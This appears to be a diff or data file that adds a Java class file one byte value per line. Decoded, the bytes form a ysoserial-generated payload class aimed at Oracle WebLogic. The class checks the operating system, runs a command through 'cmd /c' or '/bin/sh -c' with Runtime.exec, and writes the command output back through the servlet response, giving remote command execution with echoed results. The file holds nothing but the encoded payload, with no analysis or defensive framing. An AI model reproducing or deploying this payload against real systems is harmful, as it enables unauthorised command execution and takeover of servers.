+
+
+ 0
+
+
+ 93
+
+
+ 1
+
+
+ 0
+
+
+ 49
+
+
+ 119
+
+
+ 101
+
+
+ 98
+
+
+ 108
+
+
+ 111
+
+
+ 103
+
+
+ 105
+
+
+ 99
+
+
+ 47
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 47
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 110
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 83
+
+
+ 101
+
+
+ 114
+
+
+ 118
+
+
+ 108
+
+
+ 101
+
+
+ 116
+
+
+ 79
+
+
+ 117
+
+
+ 116
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 73
+
+
+ 109
+
+
+ 112
+
+
+ 108
+
+
+ 7
+
+
+ 0
+
+
+ 95
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 24
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 97
+
+
+ 0
+
+
+ 98
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 102
+
+
+ 108
+
+
+ 117
+
+
+ 115
+
+
+ 104
+
+
+ 12
+
+
+ 0
+
+
+ 101
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ 96
+
+
+ 0
+
+
+ 102
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 111
+
+
+ 115
+
+
+ 46
+
+
+ 110
+
+
+ 97
+
+
+ 109
+
+
+ 101
+
+
+ 8
+
+
+ 0
+
+
+ 104
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 121
+
+
+ 115
+
+
+ 116
+
+
+ 101
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ 106
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 112
+
+
+ 101
+
+
+ 114
+
+
+ 116
+
+
+ 121
+
+
+ 12
+
+
+ 0
+
+
+ 108
+
+
+ 0
+
+
+ 59
+
+
+ 10
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 16
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 7
+
+
+ 0
+
+
+ 111
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 116
+
+
+ 111
+
+
+ 76
+
+
+ 111
+
+
+ 119
+
+
+ 101
+
+
+ 114
+
+
+ 67
+
+
+ 97
+
+
+ 115
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ 113
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 119
+
+
+ 105
+
+
+ 110
+
+
+ 8
+
+
+ 0
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 99
+
+
+ 111
+
+
+ 110
+
+
+ 116
+
+
+ 97
+
+
+ 105
+
+
+ 110
+
+
+ 115
+
+
+ 1
+
+
+ 0
+
+
+ 27
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 67
+
+
+ 104
+
+
+ 97
+
+
+ 114
+
+
+ 83
+
+
+ 101
+
+
+ 113
+
+
+ 117
+
+
+ 101
+
+
+ 110
+
+
+ 99
+
+
+ 101
+
+
+ 59
+
+
+ 41
+
+
+ 90
+
+
+ 12
+
+
+ 0
+
+
+ 118
+
+
+ 0
+
+
+ 119
+
+
+ 10
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 120
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ 122
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 82
+
+
+ 117
+
+
+ 110
+
+
+ 116
+
+
+ 105
+
+
+ 109
+
+
+ 101
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ 124
+
+
+ 0
+
+
+ 125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ 126
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 99
+
+
+ 109
+
+
+ 100
+
+
+ 32
+
+
+ 47
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -128
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 101
+
+
+ 120
+
+
+ 101
+
+
+ 99
+
+
+ 1
+
+
+ 0
+
+
+ 39
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -126
+
+
+ 0
+
+
+ -125
+
+
+ 10
+
+
+ 0
+
+
+ 123
+
+
+ 0
+
+
+ -124
+
+
+ 1
+
+
+ 0
+
+
+ 11
+
+
+ 47
+
+
+ 98
+
+
+ 105
+
+
+ 110
+
+
+ 47
+
+
+ 115
+
+
+ 104
+
+
+ 32
+
+
+ 45
+
+
+ 99
+
+
+ 32
+
+
+ 8
+
+
+ 0
+
+
+ -122
+
+
+ 1
+
+
+ 0
+
+
+ 22
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 66
+
+
+ 117
+
+
+ 102
+
+
+ 102
+
+
+ 101
+
+
+ 114
+
+
+ 101
+
+
+ 100
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -120
+
+
+ 1
+
+
+ 0
+
+
+ 25
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -118
+
+
+ 1
+
+
+ 0
+
+
+ 17
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 111
+
+
+ 99
+
+
+ 101
+
+
+ 115
+
+
+ 115
+
+
+ 7
+
+
+ 0
+
+
+ -116
+
+
+ 1
+
+
+ 0
+
+
+ 14
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -114
+
+
+ 0
+
+
+ -113
+
+
+ 10
+
+
+ 0
+
+
+ -115
+
+
+ 0
+
+
+ -112
+
+
+ 1
+
+
+ 0
+
+
+ 42
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 73
+
+
+ 110
+
+
+ 112
+
+
+ 117
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 103
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -110
+
+
+ 10
+
+
+ 0
+
+
+ -117
+
+
+ 0
+
+
+ -109
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 40
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 82
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 41
+
+
+ 86
+
+
+ 12
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ -107
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -106
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ -104
+
+
+ 1
+
+
+ 0
+
+
+ 8
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 100
+
+
+ 76
+
+
+ 105
+
+
+ 110
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -102
+
+
+ 0
+
+
+ 90
+
+
+ 10
+
+
+ 0
+
+
+ -119
+
+
+ 0
+
+
+ -101
+
+
+ 1
+
+
+ 0
+
+
+ 9
+
+
+ 103
+
+
+ 101
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 40
+
+
+ 41
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -99
+
+
+ 0
+
+
+ -98
+
+
+ 10
+
+
+ 0
+
+
+ 69
+
+
+ 0
+
+
+ -97
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 87
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 114
+
+
+ 7
+
+
+ 0
+
+
+ -95
+
+
+ 1
+
+
+ 0
+
+
+ 5
+
+
+ 119
+
+
+ 114
+
+
+ 105
+
+
+ 116
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -93
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -94
+
+
+ 0
+
+
+ -92
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 69
+
+
+ 120
+
+
+ 99
+
+
+ 101
+
+
+ 112
+
+
+ 116
+
+
+ 105
+
+
+ 111
+
+
+ 110
+
+
+ 7
+
+
+ 0
+
+
+ -90
+
+
+ 1
+
+
+ 0
+
+
+ 3
+
+
+ 111
+
+
+ 117
+
+
+ 116
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 76
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 59
+
+
+ 12
+
+
+ 0
+
+
+ -88
+
+
+ 0
+
+
+ -87
+
+
+ 9
+
+
+ 0
+
+
+ 107
+
+
+ 0
+
+
+ -86
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 108
+
+
+ 97
+
+
+ 110
+
+
+ 103
+
+
+ 47
+
+
+ 84
+
+
+ 104
+
+
+ 114
+
+
+ 111
+
+
+ 119
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 7
+
+
+ 0
+
+
+ -84
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ 91
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 106
+
+
+ 97
+
+
+ 118
+
+
+ 97
+
+
+ 47
+
+
+ 105
+
+
+ 111
+
+
+ 47
+
+
+ 80
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 114
+
+
+ 101
+
+
+ 97
+
+
+ 109
+
+
+ 7
+
+
+ 0
+
+
+ -81
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 108
+
+
+ 110
+
+
+ 12
+
+
+ 0
+
+
+ -79
+
+
+ 0
+
+
+ 71
+
+
+ 10
+
+
+ 0
+
+
+ -80
+
+
+ 0
+
+
+ -78
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 112
+
+
+ 114
+
+
+ 105
+
+
+ 110
+
+
+ 116
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 84
+
+
+ 114
+
+
+ 97
+
+
+ 99
+
+
+ 101
+
+
+ 12
+
+
+ 0
+
+
+ -76
+
+
+ 0
+
+
+ 11
+
+
+ 10
+
+
+ 0
+
+
+ -83
+
+
+ 0
+
+
+ -75
+
+
+ 1
+
+
+ 0
+
+
+ 13
+
+
+ 83
+
+
+ 116
+
+
+ 97
+
+
+ 99
+
+
+ 107
+
+
+ 77
+
+
+ 97
+
+
+ 112
+
+
+ 84
+
+
+ 97
+
+
+ 98
+
+
+ 108
+
+
+ 101
+
+
+ 1
+
+
+ 0
+
+
+ 29
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 1
+
+
+ 0
+
+
+ 31
+
+
+ 76
+
+
+ 121
+
+
+ 115
+
+
+ 111
+
+
+ 115
+
+
+ 101
+
+
+ 114
+
+
+ 105
+
+
+ 97
+
+
+ 108
+
+
+ 47
+
+
+ 80
+
+
+ 119
+
+
+ 110
+
+
+ 101
+
+
+ 114
+
+
+ 52
+
+
+ 53
+
+
+ 52
+
+
+ 51
+
+
+ 56
+
+
+ 51
+
+
+ 49
+
+
+ 52
+
+
+ 50
+
+
+ 55
+
+
+ 56
+
+
+ 57
+
+
+ 57
+
+
+ 50
+
+
+ 59
+
+
+ 0
+
+
+ 33
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 10
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 42
+
+
+ -73
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 47
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 5
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 20
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 63
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 52
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 32
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 23
+
+
+ 0
+
+
+ 24
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 19
+
+
+ 0
+
+
+ 27
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ -79
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 13
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 56
+
+
+ 0
+
+
+ 14
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 42
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 15
+
+
+ 0
+
+
+ -71
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 21
+
+
+ 0
+
+
+ 22
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 28
+
+
+ 0
+
+
+ 29
+
+
+ 0
+
+
+ 2
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 30
+
+
+ 0
+
+
+ 31
+
+
+ 0
+
+
+ 3
+
+
+ 0
+
+
+ 25
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 4
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 26
+
+
+ 0
+
+
+ 8
+
+
+ 0
+
+
+ 41
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 12
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 114
+
+
+ 0
+
+
+ 7
+
+
+ 0
+
+
+ 11
+
+
+ 0
+
+
+ 0
+
+
+ 1
+
+
+ 18
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ 1
+
+
+ 76
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ 18
+
+
+ 57
+
+
+ -74
+
+
+ 0
+
+
+ 61
+
+
+ 77
+
+
+ -72
+
+
+ 0
+
+
+ 47
+
+
+ -64
+
+
+ 0
+
+
+ 49
+
+
+ -74
+
+
+ 0
+
+
+ 53
+
+
+ -64
+
+
+ 0
+
+
+ 55
+
+
+ -74
+
+
+ 0
+
+
+ 65
+
+
+ 78
+
+
+ 45
+
+
+ 18
+
+
+ 67
+
+
+ -74
+
+
+ 0
+
+
+ 73
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ 77
+
+
+ 58
+
+
+ 4
+
+
+ 25
+
+
+ 4
+
+
+ -69
+
+
+ 0
+
+
+ 79
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 18
+
+
+ 88
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -73
+
+
+ 0
+
+
+ 94
+
+
+ -74
+
+
+ 0
+
+
+ 100
+
+
+ 25
+
+
+ 4
+
+
+ -74
+
+
+ 0
+
+
+ 103
+
+
+ 18
+
+
+ 105
+
+
+ -72
+
+
+ 0
+
+
+ 110
+
+
+ 58
+
+
+ 5
+
+
+ 25
+
+
+ 5
+
+
+ 1
+
+
+ -91
+
+
+ 0
+
+
+ 16
+
+
+ 25
+
+
+ 5
+
+
+ -74
+
+
+ 0
+
+
+ 115
+
+
+ 18
+
+
+ 117
+
+
+ -74
+
+
+ 0
+
+
+ 121
+
+
+ -102
+
+
+ 0
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 33
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -127
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -89
+
+
+ 0
+
+
+ 30
+
+
+ -72
+
+
+ 0
+
+
+ 127
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 18
+
+
+ -121
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 44
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ -74
+
+
+ 0
+
+
+ -123
+
+
+ 58
+
+
+ 6
+
+
+ -69
+
+
+ 0
+
+
+ -119
+
+
+ 89
+
+
+ -69
+
+
+ 0
+
+
+ -117
+
+
+ 89
+
+
+ 25
+
+
+ 6
+
+
+ -74
+
+
+ 0
+
+
+ -111
+
+
+ 18
+
+
+ 67
+
+
+ -73
+
+
+ 0
+
+
+ -108
+
+
+ -73
+
+
+ 0
+
+
+ -105
+
+
+ 58
+
+
+ 7
+
+
+ 1
+
+
+ 58
+
+
+ 8
+
+
+ 18
+
+
+ -103
+
+
+ 58
+
+
+ 9
+
+
+ -89
+
+
+ 0
+
+
+ 25
+
+
+ -69
+
+
+ 0
+
+
+ 81
+
+
+ 89
+
+
+ -73
+
+
+ 0
+
+
+ 82
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ 25
+
+
+ 8
+
+
+ -74
+
+
+ 0
+
+
+ 86
+
+
+ -74
+
+
+ 0
+
+
+ 92
+
+
+ 58
+
+
+ 9
+
+
+ 25
+
+
+ 7
+
+
+ -74
+
+
+ 0
+
+
+ -100
+
+
+ 89
+
+
+ 58
+
+
+ 8
+
+
+ 1
+
+
+ -90
+
+
+ -1
+
+
+ -31
+
+
+ 45
+
+
+ -74
+
+
+ 0
+
+
+ -96
+
+
+ 25
+
+
+ 9
+
+
+ -74
+
+
+ 0
+
+
+ -91
+
+
+ -89
+
+
+ 0
+
+
+ 24
+
+
+ 58
+
+
+ 10
+
+
+ -78
+
+
+ 0
+
+
+ -85
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -82
+
+
+ -74
+
+
+ 0
+
+
+ -77
+
+
+ 25
+
+
+ 10
+
+
+ -74
+
+
+ 0
+
+
+ -74
+
+
+ -89
+
+
+ 0
+
+
+ 3
+
+
+ -79
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ 94
+
+
+ 0
+
+
+ -7
+
+
+ 0
+
+
+ -4
+
+
+ 0
+
+
+ -89
+
+
+ 0
+
+
+ 1
+
+
+ 0
+
+
+ -73
+
+
+ 0
+
+
+ 0
+
+
+ 0
+
+
+ 70
+
+
+ 0
+
+
+ 9
+
+
+ 3
+
+
+ -1
+
+
+ 0
+
+
+ 109
+
+
+ 0
+
+
+ 6
+
+
+ 0
+
+
+ 5
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 7
+
+
+ 0
+
+
+ 69
+
+
+ 7
+
+
+ 0
+
+
+ 96
+
+
+ 7
+
+
+ 0
+
+
+ 112
+
+
+ 0
+
+
+ 0
+
+
+ 2
+
+
+ 29
+
+
+ -4
+
+
+ 0
+
+
+ 26
+
+
+ 7
+
+
+ 0
+
+
+ -115
+
+
+ -2
+
+
+ 0
+
+
+ 32
+
+
+ 7
+
+
+ 0
+
+
